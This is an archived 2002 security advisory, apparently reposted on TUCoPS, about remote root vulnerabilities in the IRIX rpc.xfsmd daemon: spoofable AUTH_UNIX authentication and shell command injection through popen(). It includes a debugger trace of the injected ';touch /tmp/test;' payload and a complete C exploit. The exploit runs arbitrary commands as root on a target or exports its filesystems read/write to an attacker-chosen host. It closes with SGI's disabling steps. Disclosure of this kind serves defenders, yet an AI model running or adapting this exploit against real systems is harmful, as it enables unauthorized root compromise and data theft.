TUCoPS :: SGI :: irix5476.htm

rpc.xfsmd gives remote root access
21th Jun 2002 [SBWID-5476]
COMMAND

	rpc.xfsmd gives remote root access

SYSTEMS AFFECTED

	IRIX operating system starting from version 6.2 to  6.5.16  (after  full
	OS installation).

PROBLEM

	In Last Stage of Delirium Research Group [http://lsd-pl.net] advisory :
	

	This daemon provides functionality related with  xfs  file  systems  and
	disk volumes (xlv) management. Xfsmd handles requests  for  file  system
	creation,  mounting  and  unmounting.  Through  xfsmd,  file   systems\'
	parameters can be modified as  well  as  the  whole  partitions  can  be
	managed. Xfsmd is registered in IRIX operating  system  as  RPC  service
	number 391016.
	

	There are multiple vulnerabilities in the xfsmd service. Below you  will
	find the detailed descriptions for all of them.
	

	

	 1. Weak authentication

	

	The first problem with xfsmd service  is  its  weak  RPC  authentication
	scheme that is based on  AUTH_UNIX  RPC  type.  Such  an  authentication
	scheme can be easily bypassed what in result creates the possibility  to
	remotely call potentially dangerous RPC functions, the ones  that  would
	allow to mount, unomunt, create, delete or modify xfs file systems on  a
	vulnerable host. The possibility to perform such  actions  in  the  Unix
	system is obviously equivalent to gaining root user privileges.
	

	In our proof of concept code for the rpc.xfsmd, weak RPC  authentication
	scheme is exploited by forcing xfsmd to  export  any  file  system  with
	read  and  write  privileges  for  everyone.  Specifically,  a  call  to
	xfsexport_1() RPC function is made in order  to  accomplish  this  goal.
	Besides this function, there are  several  others  that  can  be  called
	remotely  by  an  attacker  after  bypassing  AUTH_UNIX   authentication
	scheme. Below, we present some of them and provide brief description  of
	the action that can be performed upon their use.
	

	xfscreate_1()   - allows for the creation of new file systems

	xfsedit_1()     - allows for modification of a given file systems\' parameters

	xfsexport_1()   - allows to export a given file system

	xfsmount_1()    - allows to mount a given file system

	xfsdelete_1()   - allows to delete a given file system

	

	

	 2. popen() vulnerabilities

	

	The other vulnerability that we have  found  in  xfsmd  service  is  the
	result of bad coding practice and the way  popen()  function  is  called
	throughout the xfsmd code. Xfsmd RPC functions use the popen() call  for
	invoking several external programs, that provide it with required,  file
	system related functionality. As an argument  to  the  popen()  function
	call, a user provided argument is given without  any  checks  for  shell
	metacharacter, such as \';\' or \'\'\'.
	

	In our proof of concept code, the  rpc.xfsmd  popen()  vulnerability  is
	illustrated  in  a  case  of  RPC  xfsexport_1()  function  call.   When
	xfsexport_1() is invoked, a  function  call  to  xfsExportInternal()  is
	made.  In  xfsExportInternal(),  first  some  checks  of  user  provided
	parameters are done and if successfull, a call to xfs_export() is  made.
	In this latter call a structure filled with user provided  arguments  is
	created and it contains the name of the file system to be  exported  and
	options for exportfs command, executed via popen(). In  xfs_export(),  a
	call to external program /usr/etc/exportfs is made through  the  use  of
	popen() function. As  export  options  passed  to  the  called  exportfs
	program come from the user provided arguments, there exist an  easy  way
	to execute arbitrary commands on the vulnerable IRIX system. It is  only
	required that the option string  for  the  exportfs  command  should  be
	constructed according to the \";command\" scheme. For example  it  could
	be set to \";touch /tmp/test\" in order to execute  \"touch  /tmp/test\"
	command.
	

	Below you will find a trace of the xfsmd  program  execution  done  with
	the  use  of  our  bptrace  tool.  It  clearly  illustrates  the   above
	description of the popen() vulnerablity in xfsmd.
	

	

	breakpoint trace [version 1.4]

	copyright by LAST STAGE OF DELIRIUM 1998 Poland

	    found 624 symbols

	    624 breakpoints enabled, 0 disabled, 0 aliases

	==> attaching process 325621 (/usr/etc/xfsmd)

	[325621] 0x0fa397b4    1  memset(0x7fff26a0,0,128)

	[325621] 0x0fa397ac    1  bzero(0x7fff288c,4)

	[325621] 0x0fa397b4    2  memset(0x7fff288c,0,4)

	[325621] 0x00421da0    1  xdr_nametype()

	[325621] 0x0fb055e0    1  xdr_string()

	[325621] 0x0fa2ea48    1  malloc(38)

	---------------------

	[325621] 0x0040ad40    1  xfsexport_1()

	---------------------

	[325621] 0x0040951c    1  xdr_free()

	[325621] 0x00421e7c    1  xdr_xfs_result()

	[325621] 0x00421da0    2  xdr_nametype()

	[325621] 0x0fb055e0    2  xdr_string()

	[325621] 0x0fa2f1d8    1  free(0x1001add8)

	[325621] 0x0fb0516c    1  xdr_int()

	

	Weak authenticate function

	--------------------

	[325621] 0x0040a6a4    1  authenticate()

	--------------------

	[325621] 0x0fa2f994    1  gethostname()

	[325621] 0x0fa37008    1  strtok(\"symul\",\".\")

	[325621] 0x0fa2e640    1  strcpy(0x7fff1610,\"symul\")

	[325621] 0x0fa4b0d0    1  getdomainname()

	[325621] 0x0fa2fe38    1  strcat(\"symul\",\".\")

	[325621] 0x0fa2fe38    2  strcat(\"symul.\",\"\")

	[325621] 0x0fa34330    1  strcmp(\"symul.\",\"symul.\")

	-------------------

	[325621] 0x0040f3bc    1  xfsExportInternal()

	------------------

	[325621] 0x0fa3972c    1  strdup(\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\")

	[325621] 0x0fa2e590    2  strlen(\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\")

	[325621] 0x0fa2ea48    2  malloc(38)

	[325621] 0x0fa2e640    2  strcpy(0x1001add8,\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\")

	[325621] 0x0fa37008    2  strtok(\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\",\"\\n\")

	[325621] 0x004193bc    1  xfsmGetKeyValue()

	[325621] 0x0fa2e780    1  strchr(\"XFS_MNT_DIR:/tmp\",\':\')

	[325621] 0x0fa34330    2  strcmp(\"/tmp\",\"false\")

	[325621] 0x0fa34330    3  strcmp(\"/tmp\",\"FALSE\")

	[325621] 0x0fa34330    4  strcmp(\"XFS_MNT_DIR\",\"XFS_FS_NAME\")

	[325621] 0x0fa2ea48    3  malloc(38)

	

	.....

	

	[325621] 0x0fa2e640    3  strcpy(0x1001a828,\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\")

	[325621] 0x0fa37008    5  strtok(\"XFS_MNT_DIR:/tmp\\nroot:;touch /tmp/test;\",\"\\n\")

	[325621] 0x004193bc    3  xfsmGetKeyValue()

	[325621] 0x0fa2e780    3  strchr(\"XFS_MNT_DIR:/tmp\",\':\')

	[325621] 0x0fa34330   11  strcmp(\"XFS_MNT_DIR\",\"rw,root\")

	[325621] 0x0040ca98    1  create_option_str()

	[325621] 0x0fa34330   12  strcmp(\"XFS_MNT_DIR\",\"rw\")

	[325621] 0x0fa34330   13  strcmp(\"XFS_MNT_DIR\",\"root\")

	

	.....

	

	[325621] 0x0fa34498    1  realloc(0x100173c0,25)

	[325621] 0x0fa2fe38    4  strcat(\"root=;touch /tmp/test;,\",\"rw,\")

	[325621] 0x0fa2f9d4    1  strrchr(\"root=;touch /tmp/test;,rw,\",\',\')

	[325621] 0x0fa397b4    3  memset(0x1001a8a7,0,1)

	[325621] 0x0fa2f1d8    2  free(0x1001a828)

	---------------------------

	[325621] 0x00414904    1  xfs_export()

	---------------------------

	[325621] 0x0041a750    1  isvalidmntpt()

	[325621] 0x0fa2e780    5  strchr(\"/tmp\",\' \')

	[325621] 0x0fa4d628    3  strstr(\"/tmp\",\"/./\")

	[325621] 0x0fa4d628    4  strstr(\"/tmp\",\"/../\")

	[325621] 0x0fa31494    1  strncmp(\"/tmp\",\"/tmp/\",5)

	[325621] 0x0fa2e1a0    1  stat(\"/tmp\",0x7ffef314)

	[325621] 0x0041457c    1  export_fs()

	[325621] 0x0fa3190c    2  sprintf(0x7ffef2a0,\"/usr/etc/exportfs -i -o %s %s 2>&1\",...)

	[325621] 0x0fa2e590    8  strlen(\"root=;touch /tmp/test;,rw\")

	[325621] 0x0fa2e590    9  strlen(\"/tmp\")

	

	popen(\"/usr/etc/exportfs -i -o /tmp ;touch /tmp/test\")

	---------------------------

	[325621] 0x00416890    1  xfs_popen()

	---------------------------

	

	[325621] 0x0fa3ef74    1  pipe(2147406432)

	[325621] 0x0fa3dd98    1  fork()

	==> process 325621 forking to 325091

	==> attaching process 325091 (/usr/etc/xfsmd)

	[325091] 0x0fa2e290    1  close(4)

	[325621] 0x0fa2e290    1  close(5)

	[325091] 0x0fa2e290    2  close(1)

	[325621] 0x0fa56c44    1  fdopen()

	[325091] 0x004098f0    1  fcntl(5,F_DUPFD,0x00000001)

	[325621] 0x0fa307fc    1  fgets()

	[325091] 0x0fa2e290    3  close(2)

	[325621] 0x0fa2ea48    5  malloc(4104)

	[325091] 0x0fa2e290    4  close(5)

	[325621] 0x0fa34b0c    1  _cerror()

	[325091] 0x00409904    1  execl(\"/sbin/sh\",\"sh\",...)

	==> process 325091 executing /sbin/sh

	    found 368 symbols

	    368 breakpoints enabled, 0 disabled, 0 aliases

	==> process 325091 forking to 325665

	==> attaching process 325665 (/sbin/sh)

	==> process 325665 executing /usr/etc/exportfs

	    found 68 symbols

	    68 breakpoints enabled, 0 disabled, 0 aliases

	[325665] 0x100045c8    1  __istart()

	[325665] 0x0fa33780    1  __readenv_sigfpe()

	[325665] 0x10001b2c    1  main()

	[325665] 0x10003364    1  parseargs()

	[325665] 0x10001dbc    1  printexports()

	[325665] 0x0fa33bf4    1  fopen(\"/etc/xtab\",\"r\")

	[325665] 0x0fa8cd4c    1  getexportent()

	

	........

	

	[325621] 0x0fa2e640    5  strcpy(0x100173c0,\"nothing exported\\n\")

	[325621] 0x0fa307fc    2  fgets()

	==> process 325665 terminated

	==> process 325091 forking to 325653

	==> attaching process 325653 (/sbin/sh)

	==> process 325653 executing /bin/touch

	    found 24 symbols

	    24 breakpoints enabled, 0 disabled, 0 aliases

	[325653] 0x0fa5cb88    1  close(4)

	[325653] 0x100023e0    1  __istart()

	[325653] 0x0fa33780    1  __readenv_sigfpe()

	[325653] 0x10001ac8    1  main()

	

	........

	

	[325653] 0x0fa5cdbc    1  creat(\"/tmp/test\",438)

	[325653] 0x0fa5cb88    2  close(4)

	[325653] 0x0fa58954    2  stat64()

	[325653] 0x0fa56a2c    1  utime()

	[325653] 0x0fa363b8    1  exit(0)

	==> process 325653 terminated

	

	Below, several other RPC functions are listed which can be  successfully
	exploited to run arbitrary commands  with  root  user  privileges  on  a
	remote IRIX system through the bad  use  of  popen()  function  call  in
	xfsmd:
	

	xfscreate_1()   - new file system creation

	xfsexport_1()   - file system export

	xfsunexport_1() - file system unexport

	xfsmount_1()    - file system mount

	xfsunmount_1()  - file system unmount

	

	The proof of concept code illustrating the above  mentioned  IRIX  Xfsmd
	vulnerabilities can be found on our website at the following address:
	

	   http://lsd-pl.net/files/get?IRIX/irx_xfsmd

	

	

	

	/*## copyright LAST STAGE OF DELIRIUM Sep 1999 poland        *://lsd-pl.net/ #*/

	/*## xfsmd                                                                   #*/

	

	/*   this code forces xfsmd to execute any command on remote IRIX host or     */

	/*   to export any file system from it with read/write privileges.            */

	/*   the exploit requires that DNS is properly configured on an attacked      */

	/*   host. additionally, if the file systems are to be exported from a        */

	/*   vulnerable system, it must have NFS subsystem running.                   */

	

	/*   example usage:                                                           */

	/*   xfsmd address -c \"touch /etc/lsd\"                                        */

	/*     (executes \"touch /etc/lsd\" command as root user on a vulnerable host)  */

	/*   xfsmd address -e 10.0.0.1 -d \"/\"                                         */

	/*     (exports / filesystem to the 10.0.0.1 host with rw privileges)         */ 

	

	#include <sys/types.h>

	#include <sys/socket.h>

	#include <netinet/in.h>

	#include <rpc/rpc.h>

	#include <netdb.h>

	#include <stdio.h>

	#include <errno.h>

	

	#define XFS_PROG    391016

	#define XFS_VERS    1     

	#define XFS_EXPORT  13

	

	typedef char *req_t;

	typedef struct{char *str1;int errno;}res_t;

	

	bool_t xdr_req(XDR *xdrs,req_t *objp){

	    if(!xdr_string(xdrs,objp,~0)) return(FALSE);

	    return(TRUE);

	}

	

	bool_t xdr_res(XDR *xdrs,res_t *objp){

	    if(!xdr_string(xdrs,&objp->str1,~0)) return(FALSE);

	    if(!xdr_int(xdrs,&objp->errno)) return(FALSE);

	    return(TRUE);

	}

	

	main(int argc,char **argv){

	    char command[10000],*h,*cmd,*hst=NULL,*dir=\"/etc\";

	    int i,port=0,flag=0,c;

	    CLIENT *cl;enum clnt_stat stat;

	    struct hostent *hp;

	    struct sockaddr_in adr;

	    struct timeval tm={10,0};

	    req_t req;

	    res_t res;

	

	    printf(\"copyright LAST STAGE OF DELIRIUM Sep 1999 poland  //lsd-pl.net/\\n\");

	    printf(\"rpc.xfsmd for irix 6.2 6.3 6.4 6.5 6.5.16 IP:all\\n\\n\");

	

	    if(argc<3){

	        printf(\"usage: %s address -c \\\"command\\\" [-p port]\\n\",argv[0]);

	        printf(\"       %s address -e address [-d dir] [-p port]\\n\",argv[0]);

	        exit(-1);

	    }

	    while((c=getopt(argc-1,&argv[1],\"c:p:e:d:\"))!=-1){

		 switch(c){

		 case \'c\': flag=0;cmd=optarg;break;

	         case \'e\': flag=1;hst=optarg;break;

	         case \'d\': dir=optarg;break;

	         case \'p\': port=atoi(optarg);

		 }

	    }

	

	    req=command;

	    if(!flag){

	        printf(\"executing %s command... \",cmd);

	        sprintf(req,\"XFS_MNT_DIR:/tmp\\nroot:;%s;\",cmd);

	    }else{

	        printf(\"exporting %s directory to %s... \",dir,hst);

	        sprintf(req,\"XFS_FS_NAME:%s\\nroot:%s\\n\",dir,hst);

	    }

	

	    adr.sin_family=AF_INET;

	    adr.sin_port=htons(port);

	    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){

	        if((hp=gethostbyname(argv[1]))==NULL){

	            errno=EADDRNOTAVAIL;perror(\"error\");exit(-1);

	        }

	        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);

	    }else{

	        if((hp=gethostbyaddr((char*)&adr.sin_addr.s_addr,4,AF_INET))==NULL){

	            errno=EADDRNOTAVAIL;perror(\"error\");exit(-1);

	        }

	    }

	    if((h=(char*)strchr(hp->h_name,\'.\'))!=NULL) *(h+1)=0;

	    else strcat(hp->h_name,\".\");

	

	    i=RPC_ANYSOCK;

	    if(!(cl=clnttcp_create(&adr,XFS_PROG,XFS_VERS,&i,0,0))){

	        clnt_pcreateerror(\"error\");exit(-1);

	    }

	

	    cl->cl_auth=authunix_create(hp->h_name,0,0,0,NULL);

	    stat=clnt_call(cl,XFS_EXPORT,xdr_req,(void*)&req,xdr_res,(void*)&res,tm);

	    if(stat!=RPC_SUCCESS) {clnt_perror(cl,\"error\");exit(-1);}

	    printf(\"%s\\n\",(!flag)?\"ok\":((!res.errno)?\"ok\":\"failed\"));

	}

	

SOLUTION

	SGI was informed about this issue and assigned this bug number 858714.
	

	There is no effective  workaround  available  for  these  problems.  SGI
	recommends either disabling or uninstalling the product.
	

	To disable the product from running, perform the following steps:
	

	  # killall /usr/etc/xfsmd

	  # vi /etc/inetd.conf

	

	  Look for a line in inetd.conf that looks like this:

	

	    sgi_xfsmd/1 stream  rpc/tcp wait    root    ?/usr/etc/xfsmd     xfsmd

	

	  ...and comment it out by putting a \"#\" at the beginning of the line:

	

	    #sgi_xfsmd/1 stream  rpc/tcp wait    root    ?/usr/etc/xfsmd     xfsmd

	

	  ...or simply remove the line from the file.

	

	  # killall -HUP inetd

	

	To remove the product from the system, perform the following command:
	

	  # versions remove eoe.sw.xfsmserv

	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH